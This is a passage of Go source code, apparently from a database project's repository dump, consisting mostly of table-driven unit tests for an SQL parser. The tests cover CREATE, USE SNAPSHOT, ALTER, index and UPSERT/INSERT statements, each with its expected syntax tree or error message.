newCreateTableStmt(\n\tname string,\n\telems []TableElem,\n\tifNotExists bool,\n) *CreateTableStmt {\n\tcolsSpecs := make([]*ColSpec, 0, 5)\n\tvar checks []CheckConstraint\n\n\tvar pk PrimaryKeyConstraint\n\tfor _, e := range elems {\n\t\tswitch c := e.(type) {\n\t\tcase *ColSpec:\n\t\t\tcolsSpecs = append(colsSpecs, c)\n\t\tcase PrimaryKeyConstraint:\n\t\t\tpk = c\n\t\tcase CheckConstraint:\n\t\t\tif checks == nil {\n\t\t\t\tchecks = make([]CheckConstraint, 0, 5)\n\t\t\t}\n\t\t\tchecks = append(checks, c)\n\t\t}\n\t}\n\n\treturn &CreateTableStmt{\n\t\tifNotExists: ifNotExists,\n\t\ttable:       name,\n\t\tcolsSpec:    colsSpecs,\n\t\tpkColNames:  pk,\n\t\tchecks:      checks,\n\t}\n}\n"
  },
  {
    "path": "embedded/sql/parser_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc init() {\n\tyyErrorVerbose = true\n}\n\nfunc TestEmptyInput(t *testing.T) {\n\t_, err := ParseSQLString(\"\")\n\trequire.Error(t, err)\n}\n\nfunc TestCreateDatabaseStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput:          \"CREATE DATABASE db1\",\n\t\t\texpectedOutput: []SQLStmt{&CreateDatabaseStmt{DB: \"db1\"}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE db1\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected IDENTIFIER at position 10\"),\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestUseDatabaseStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput:          \"USE DATABASE db1\",\n\t\t\texpectedOutput: []SQLStmt{&UseDatabaseStmt{DB: \"db1\"}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"USE db1\",\n\t\t\texpectedOutput: []SQLStmt{&UseDatabaseStmt{DB: \"db1\"}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestUseSnapshotStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT SINCE TX 100\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tstart: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 100}}, inclusive: true},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT BEFORE now()\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tend: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: \"now\"}}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT UNTIL now()\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tend: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: \"now\"}}, inclusive: true},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT SINCE TX 1 UNTIL TX 10\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tstart: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 1}}, inclusive: true},\n\t\t\t\t\t\tend:   &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}, inclusive: true},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT SINCE TX @fromTx BEFORE TX 10\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tstart: &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Param{id: \"fromtx\"}}, inclusive: true},\n\t\t\t\t\t\tend:   &openPeriod{instant: periodInstant{instantType: txInstant, exp: &Integer{val: 10}}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"USE SNAPSHOT AFTER TX @fromTx-1 BEFORE now()\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UseSnapshotStmt{\n\t\t\t\t\tperiod: period{\n\t\t\t\t\t\tstart: &openPeriod{\n\t\t\t\t\t\t\tinstant: periodInstant{\n\t\t\t\t\t\t\t\tinstantType: txInstant,\n\t\t\t\t\t\t\t\texp:         &NumExp{op: SUBSOP, left: &Param{id: \"fromtx\"}, right: &Integer{val: 1}},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t\tend: &openPeriod{instant: periodInstant{instantType: timeInstant, exp: &FnCall{fn: \"now\"}}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"USE SNAPSHOT BEFORE TX 10 SINCE TX 1\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected SINCE at position 31\"),\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestCreateTableStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, PRIMARY KEY id)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table1\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"id\", colType: IntegerType}},\n\t\t\t\t\tpkColNames:  []string{\"id\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id UUID, PRIMARY KEY id)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table1\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"id\", colType: UUIDType}},\n\t\t\t\t\tpkColNames:  []string{\"id\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER AUTO_INCREMENT, PRIMARY KEY id)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table1\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"id\", colType: IntegerType, autoIncrement: true}},\n\t\t\t\t\tpkColNames:  []string{\"id\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE \\\"table\\\" (\\\"primary\\\" INTEGER AUTO_INCREMENT, PRIMARY KEY \\\"primary\\\")\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"primary\", colType: IntegerType, autoIncrement: true}},\n\t\t\t\t\tpkColNames:  []string{\"primary\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE xtable1 (xid INTEGER, PRIMARY KEY xid)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"xtable1\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"xid\", colType: IntegerType}},\n\t\t\t\t\tpkColNames:  []string{\"xid\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE IF NOT EXISTS table1 (id INTEGER, PRIMARY KEY (id))\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table1\",\n\t\t\t\t\tifNotExists: true,\n\t\t\t\t\tcolsSpec:    []*ColSpec{{colName: \"id\", colType: IntegerType}},\n\t\t\t\t\tpkColNames:  []string{\"id\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1 (id INTEGER, name VARCHAR(50), ts TIMESTAMP, active BOOLEAN, content BLOB, json_data JSON, PRIMARY KEY (id, name))\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable:       \"table1\",\n\t\t\t\t\tifNotExists: false,\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t\t{colName: \"name\", colType: VarcharType, maxLen: 50},\n\t\t\t\t\t\t{colName: \"ts\", colType: TimestampType},\n\t\t\t\t\t\t{colName: \"active\", colType: BooleanType},\n\t\t\t\t\t\t{colName: \"content\", colType: BLOBType},\n\t\t\t\t\t\t{colName: \"json_data\", colType: JSONType},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: []string{\"id\", \"name\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE table1\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected IDENTIFIER at position 13\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE TABLE table1\",\n\t\t\texpectedOutput: []SQLStmt{&CreateTableStmt{table: \"table1\"}},\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected $end, expecting '(' at position 20\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE TABLE table1()\",\n\t\t\texpectedOutput: []SQLStmt{&CreateTableStmt{table: \"table1\"}},\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ')' at position 21\"),\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1(id INTEGER, balance FLOAT, CONSTRAINT non_negative_balance CHECK (balance >= 0), PRIMARY KEY id)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{colName: \"id\", colType: IntegerType},\n\t\t\t\t\t\t{colName: \"balance\", colType: Float64Type},\n\t\t\t\t\t},\n\t\t\t\t\tchecks: []CheckConstraint{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tname: \"non_negative_balance\",\n\t\t\t\t\t\t\texp: &CmpBoolExp{\n\t\t\t\t\t\t\t\top:    GE,\n\t\t\t\t\t\t\t\tleft:  &ColSelector{col: \"balance\"},\n\t\t\t\t\t\t\t\tright: &Integer{val: 0},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t\tpkColNames: PrimaryKeyConstraint{\"id\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"CREATE TABLE table1(id INTEGER PRIMARY KEY)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&CreateTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcolsSpec: []*ColSpec{\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcolName:    \"id\",\n\t\t\t\t\t\t\tcolType:    IntegerType,\n\t\t\t\t\t\t\tprimaryKey: true,\n\t\t\t\t\t\t\tnotNull:    true,\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tinput: \"DROP TABLE table1\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&DropTableStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestCreateIndexStmt(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput:          \"CREATE INDEX ON table1(id)\",\n\t\t\texpectedOutput: []SQLStmt{&CreateIndexStmt{table: \"table1\", cols: []string{\"id\"}}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE INDEX ON \\\"table\\\"(\\\"primary\\\")\",\n\t\t\texpectedOutput: []SQLStmt{&CreateIndexStmt{table: \"table\", cols: []string{\"primary\"}}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE INDEX ON \\\"table(\\\"primary\\\")\",\n\t\t\texpectedOutput: []SQLStmt{&CreateIndexStmt{table: \"table\", cols: []string{\"primary\"}}},\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 22\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE INDEX IF NOT EXISTS ON table1(id)\",\n\t\t\texpectedOutput: []SQLStmt{&CreateIndexStmt{table: \"table1\", ifNotExists: true, cols: []string{\"id\"}}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE INDEX table1(id)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected IDENTIFIER, expecting ON at position 19\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"CREATE UNIQUE INDEX ON table1(id, title)\",\n\t\t\texpectedOutput: []SQLStmt{&CreateIndexStmt{unique: true, table: \"table1\", cols: []string{\"id\", \"title\"}}},\n\t\t\texpectedError:  nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"DROP INDEX ON table1(id, title)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&DropIndexStmt{\n\t\t\t\t\ttable: \"table1\",\n\t\t\t\t\tcols:  []string{\"id\", \"title\"},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestAlterTable(t *testing.T) {\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"ALTER TABLE table1 ADD COLUMN title VARCHAR\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&AddColumnStmt{\n\t\t\t\t\ttable:   \"table1\",\n\t\t\t\t\tcolSpec: &ColSpec{colName: \"title\", colType: VarcharType},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"ALTER TABLE table1 ADD COLUMN title BLOB\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&AddColumnStmt{\n\t\t\t\t\ttable:   \"table1\",\n\t\t\t\t\tcolSpec: &ColSpec{colName: \"title\", colType: BLOBType},\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"ALTER TABLE table1 COLUMN title VARCHAR\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected COLUMN, expecting DROP or ADD or RENAME at position 25\"),\n\t\t},\n\t\t{\n\t\t\tinput: \"ALTER TABLE table1 RENAME COLUMN title TO newtitle\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&RenameColumnStmt{\n\t\t\t\t\ttable:   \"table1\",\n\t\t\t\t\toldName: \"title\",\n\t\t\t\t\tnewName: \"newtitle\",\n\t\t\t\t}},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"ALTER TABLE table1 RENAME COLUMN TO newtitle\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected TO at position 35\"),\n\t\t},\n\t}\n\n\tfor i, tc := range testCases {\n\t\tres, err := ParseSQLString(tc.input)\n\t\trequire.Equal(t, tc.expectedError, err, fmt.Sprintf(\"failed on iteration %d\", i))\n\n\t\tif tc.expectedError == nil {\n\t\t\trequire.Equal(t, tc.expectedOutput, res, fmt.Sprintf(\"failed on iteration %d\", i))\n\t\t}\n\t}\n}\n\nfunc TestInsertIntoStmt(t *testing.T) {\n\tdecodedBLOB, err := hex.DecodeString(\"AED0393F\")\n\trequire.NoError(t, err)\n\n\ttestCases := []struct {\n\t\tinput          string\n\t\texpectedOutput []SQLStmt\n\t\texpectedError  error\n\t}{\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), 'un''titled row', TRUE, false, x'AED0393F', @param1)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"time\", \"title\", \"active\", \"compressed\", \"payload\", \"note\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{{\n\t\t\t\t\t\t\tValues: []ValueExp{\n\t\t\t\t\t\t\t\t&Integer{val: 2},\n\t\t\t\t\t\t\t\t&FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t\t&Varchar{val: \"un'titled row\"},\n\t\t\t\t\t\t\t\t&Bool{val: true},\n\t\t\t\t\t\t\t\t&Bool{val: false},\n\t\t\t\t\t\t\t\t&Blob{val: decodedBLOB},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\"},\n\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), '', TRUE, false, x'AED0393F', @param1)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"time\", \"title\", \"active\", \"compressed\", \"payload\", \"note\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{\n\t\t\t\t\t\t\t\t&Integer{val: 2},\n\t\t\t\t\t\t\t\t&FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t\t&Varchar{val: \"\"},\n\t\t\t\t\t\t\t\t&Bool{val: true},\n\t\t\t\t\t\t\t\t&Bool{val: false},\n\t\t\t\t\t\t\t\t&Blob{val: decodedBLOB},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\"},\n\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), '''', TRUE, false, x'AED0393F', @param1)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"time\", \"title\", \"active\", \"compressed\", \"payload\", \"note\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{\n\t\t\t\t\t\t\t\t&Integer{val: 2},\n\t\t\t\t\t\t\t\t&FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t\t&Varchar{val: \"'\"},\n\t\t\t\t\t\t\t\t&Bool{val: true},\n\t\t\t\t\t\t\t\t&Bool{val: false},\n\t\t\t\t\t\t\t\t&Blob{val: decodedBLOB},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\"},\n\t\t\t\t\t\t\t}}},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), 'untitled row', TRUE, ?, x'AED0393F', ?)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"time\", \"title\", \"active\", \"compressed\", \"payload\", \"note\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{\n\t\t\t\t\t\t\t\t&Integer{val: 2},\n\t\t\t\t\t\t\t\t&FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t\t&Varchar{val: \"untitled row\"},\n\t\t\t\t\t\t\t\t&Bool{val: true},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\", pos: 1},\n\t\t\t\t\t\t\t\t&Blob{val: decodedBLOB},\n\t\t\t\t\t\t\t\t&Param{id: \"param2\", pos: 2},\n\t\t\t\t\t\t\t}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, time, title, active, compressed, payload, note) VALUES (2, now(), $1, TRUE, $2, x'AED0393F', $1)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"time\", \"title\", \"active\", \"compressed\", \"payload\", \"note\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{\n\t\t\t\t\t\t\t\t&Integer{val: 2},\n\t\t\t\t\t\t\t\t&FnCall{fn: \"now\"},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\", pos: 1},\n\t\t\t\t\t\t\t\t&Bool{val: true},\n\t\t\t\t\t\t\t\t&Param{id: \"param2\", pos: 2},\n\t\t\t\t\t\t\t\t&Blob{val: decodedBLOB},\n\t\t\t\t\t\t\t\t&Param{id: \"param1\", pos: 1},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES ($0, $1)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR, expecting ')' at position 40\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES (?, @title)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 42\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES (@id, ?)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 44\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES (@id, $1)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 44\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES ($1, @title)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 43\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES ($1, ?)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 43\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES (?, $1)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 42\"),\n\t\t},\n\t\t{\n\t\t\tinput:          \"UPSERT INTO table1(id, title) VALUES ($1, $title)\",\n\t\t\texpectedOutput: nil,\n\t\t\texpectedError:  errors.New(\"syntax error: unexpected ERROR at position 43\"),\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, active) VALUES (1, false), (2, true), (3, true)\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"active\"},\n\t\t\t\t\tds: &valuesDataSource{\n\t\t\t\t\t\trows: []*RowSpec{\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 1}, &Bool{val: false}}},\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 2}, &Bool{val: true}}},\n\t\t\t\t\t\t\t{Values: []ValueExp{&Integer{val: 3}, &Bool{val: true}}},\n\t\t\t\t\t\t},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"INSERT INTO table1(id, active) SELECT * FROM my_table\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\tisInsert: true,\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"active\"},\n\t\t\t\t\tds: &SelectStmt{\n\t\t\t\t\t\tds: &tableRef{\n\t\t\t\t\t\t\ttable: \"my_table\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\ttargets: nil,\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t\texpectedError: nil,\n\t\t},\n\t\t{\n\t\t\tinput: \"UPSERT INTO table1(id, active) SELECT * FROM my_table WHERE balance >= 0 AND deleted_at IS NULL\",\n\t\t\texpectedOutput: []SQLStmt{\n\t\t\t\t&UpsertIntoStmt{\n\t\t\t\t\ttableRef: &tableRef{table: \"table1\"},\n\t\t\t\t\tcols:     []string{\"id\", \"active\"},\n\t\t\t\t\tds: &SelectStmt{\n\t\t\t\t\t\tds: &tableRef{\n\t\t\t\t\t\t\ttable: \"my_table\",\n\t\t\t\t\t\t},\n\t\t\t\t\t\ttargets: 